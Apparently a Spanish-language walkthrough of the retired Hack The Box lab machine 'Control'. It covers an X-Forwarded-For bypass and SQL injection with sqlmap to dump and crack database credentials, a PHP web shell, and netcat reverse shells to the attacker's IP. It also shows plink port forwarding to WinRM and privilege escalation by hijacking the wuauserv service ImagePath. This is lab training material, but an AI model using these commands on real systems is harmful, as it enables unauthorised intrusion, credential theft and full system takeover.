Control es una máquina desafiante que nos ha llevado por la evasión de controles en todo momento para poder hacernos con ella, desde el primer punto de entrada todo ha sido darle una vuelta de tuerca a las cosas, hasta llegar a nuestro propósito. Retirada actualmente pero que se encuentra todavía esta semana accesible de forma gratuita, y que podemos aprovechar para poder probar distintas acciones y las técnicas descritas aquí, por ejemplo.
Maquina catalogada como Hard y con las siguientes características:
Resumen:
- Enumeración de puertos y servicios vía Nmap
- Reconocimiento de plataforma web y modificación de cabeceras
- Explotación de vulnerabilidad SQLi
- Uso de técnica Port Forwarding
- Obtención de usuario / Captura del fichero user.txt
- Escalada de privilegios / Captura de fichero root.txt
Enumeración:
Nuestro escaneo habitual con Nmap nos arroja el siguiente resultado:
nmap -sS -sV -sC 10.10.10.167
Visto este resultado que arroja Nmap, lo primero que haremos es ir por la parte web (80/tcp). Aquí la vista del portal desde un navegador web:
Si navegamos por este sitio web llegaremos al fichero admin.php, que al visitarlo cuenta con el siguiente aspecto:
Volvemos un momento detrás y revisamos el código fuente, aquí encontraremos el siguiente comentario que será muy valioso.
La combinación de los últimos 2 resultados obtenidos nos llevará a la búsqueda por Internet de recursos que nos permitan avanzar y así llegamos a la cabecera X-Forwarded-For (XFF), que nos permite definir la dirección IP de origen de la solicitud que hacemos a un servidor web a través de un proxy HTTP. Esto lo configuraremos por tanto en las solicitudes que enviaremos al servidor web a través de Burp Suite.
Cabecera definida: x-forwarded-for: 192.168.4.28
Nota: En Burp Suite, si vamos la subpestaña Options ubicada dentro de la pestaña Proxy, en la categoría Match and Replace, es donde podemos fijar la cabecera que estamos empleando.
Si observamos el resultado de nuestra solicitud modificada, evidenciaremos ahora la siguiente respuesta:
Probando este campo Find Products, identificamos una vulnerabilidad de SQLi (Inyección SQL / SQL injection).
Para explotar esta vulnerabilidad de forma automatizada, capturaremos una petición interceptada en un fichero de texto.
SQLmap lo ejecutaremos inicialmente de la siguiente manera:
sqlmap -r Request.txt -p productName --dbms=mysql
Adicionalmente podremos identificar el usuario actual de la base de datos:
sqlmap -r Request.txt -p productName --dbms=mysql --current-user
Luego nos centraremos en la recopilación de credenciales.
sqlmap -r Request.txt -p productName --dbms=mysql -D mysql -T user --dump cat /root/.sqlmap/output/10.10.10.167/dump/mysql/user.csv | cut -d "," -f2,5
Los resultados obtenidos (hashes) serán “crackeados” a través de John the Ripper.
cat /root/.sqlmap/output/10.10.10.167/dump/mysql/user.csv | cut -d "," -f5 > Hash john --wordlist=rockyou.txt Hash john --show Hash
Por último en esta pequeña recopilación, se revisaron los privilegios de los usuarios. Identificando de esta manera la posibilidad de leer y escribir a través del siguiente usuario.
sqlmap -r Request.txt -p productName --dbms=mysql --privileges
Con esto, ya nos dispondremos a subir una shell básica al servidor web.
sqlmap -r Request.txt --dbms=mysql --file-write=hell.php --file-dest=C:/inetpub/wwwroot/.hell.php
Emplearemos esta shell subida y la técnica de SQLmap para subir el binario de Netcat y conseguir una sesión en nuestra consola.
sqlmap -r Request.txt --dbms=mysql --file-write=nc64.exe --file-dest=C:/inetpub/wwwroot/nc64.exe nc -lvnp 8865 http://10.10.10.167/.hell.php?cmd=nc64.exe -e powershell 10.10.15.170 8865
Obtención de usuario:
Revisando las conexiones activas del objetivo, se identificó el puerto 5985 que se encuentra a la escucha de forma interna. Este puerto se vincula al servicio de WinRM.
netstat -ano
Aquí emplearemos el binario plink que nos servirá para establecer una conexión hasta nuestra máquina atacante (Parrot) a través del protocolo SSH y de esta forma conseguir dejar en disposición el servicio de WinRM. Es decir emplearemos la técnica de Port Forwarding.
Fuente de información: https://book.hacktricks.xyz/tunneling-and-port-forwarding
Dado que plink.exe es un cliente SSH, lo primero será habilitar el servidor SSH en nuestro máquina atacante. Adicionalmente también habilité temporalmente en la configuración (editar el fichero: /etc/ssh/sshd_config), la forma de permitir autenticación directa a través del usuario root (PermitRootLogin yes)
/etc/init.d/ssh start
Ahora debemos llevar el binario hasta la máquina objetivo y ejecutar plink de la siguiente manera:
python -m SimpleHTTPServer curl http://10.10.15.170:8000/plink.exe -O C:\Windows\System32\spool\drivers\color\.plink.exe
C:\Windows\System32\spool\drivers\color\.plink.exe -l root -pw t00r -R 5985:127.0.0.1:5985 10.10.15.170 hostname -I | awk '{print$2}'; whoami
Con la conexión vía SSH establecida a través de plink, ahora llega la hora de realizar el acceso al objetivo mediante evil-winrm y las credenciales ya obtenidas anteriormente.
evil-winrm -i 127.0.0.1 -u hector -p l33th4x0rhector
Escalada de privilegios:
A través de las labores de reconocimiento del objetivo, lograremos llegar al directorio C:\Users\Hector\Appdata\Roaming\microsoft\Windows\Powershell\PSReadLine, aquí encontraremos el fichero ConsoleHost_history.txt, que nos dará la pista para el escalado de privilegios.
dir C:\Users\Hector\Appdata\Roaming\microsoft\Windows\Powershell\PSReadLine type C:\Users\Hector\Appdata\Roaming\microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt
Más información de get-childitem: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem
Más información de get-acl: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl
Revisando estas consultas al registro, llegaremos al listado de servicios, entre los que se destaca wuauserv, sobre todo debido a los permisos con los que cuenta.
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list get-childitem HKLM:\SYSTEM\CurrentControlset\Services | format-list
A través de Get-ItemProperty observamos la ruta del binario que se ejecutará al iniciar este servicio wuauserv.
Get-ItemProperty HKLM:\SYSTEM\CurrentControlset\Services\wuauserv -Name ImagePath
Más información de Get-ItemProperty: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-itemproperty
Más información de Set-ItemProperty: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty
Aprovecharemos esta situación para que al iniciar el servicio nos devuelta una shell a través de Netcat.
Set-ItemProperty HKLM:\SYSTEM\CurrentControlset\Services\wuauserv -Name ImagePath -Value "C:\Users\Hector\Documents\nc64.exe -e powershell 10.10.15.170 5522" nc -lvnp 5522 Get-ItemProperty HKLM:\SYSTEM\CurrentControlset\Services\wuauserv -Name ImagePath start-service wuauserv
Al iniciar el servicio nos devolverá el acceso a la máquina con los privilegios del usuario Administrator.
Como he dicho antes, Control es una máquina realmente desafiante a la par que entretenida. En resumidas cuentas podemos decir que desde la parte de SQLi logramos recopilar información suficiente para acceder al equipo, luego a través de la técnica Port Forwarding nos llevó hasta el usuario Hector, para que una vez dentro consigamos finalmente rootear la máquina a través de esta manipulación en el servicio wuauserv. Técnicas a practicar y profundizar.
Volveremos con una nueva máquina pronto.